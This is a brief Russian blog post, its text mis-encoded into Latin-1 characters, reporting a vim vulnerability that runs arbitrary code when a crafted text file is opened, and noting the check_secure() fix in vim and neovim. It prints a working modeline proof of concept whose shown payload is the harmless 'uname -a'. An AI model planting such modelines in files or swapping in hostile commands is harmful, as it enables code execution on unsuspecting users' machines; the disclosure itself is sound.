Óÿçâèìîñòü â vim |
Îïóáëèêîâàíà óÿçâèìîñòü â òåêñòîâîì ðåäàêòîðå vim, ïîçâîëÿþùàÿ èñïîëíèòü ïðîèçâîëüíûé êîä ïðè îòêðûòèè ðåäàêòîðîì òåêñòîâîãî ôàéëà.
Âîò òåêñò ôàéëà âûïîëíÿþùåãî áåçîáèäíûé uname -a
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Èñïðàâëåíèå â âèäå äîáàâëåííîãî âûçîâà check_secure() óæå äîñòóïíî â ðåïîçèòîðèÿõ vim è neovim.
http://feedproxy.google.com/~r/org/LOR/~3/DhHGk4aGs3I/15036270
| Êîììåíòèðîâàòü | « Ïðåä. çàïèñü — Ê äíåâíèêó — Ñëåä. çàïèñü » | Ñòðàíèöû: [1] [Íîâûå] |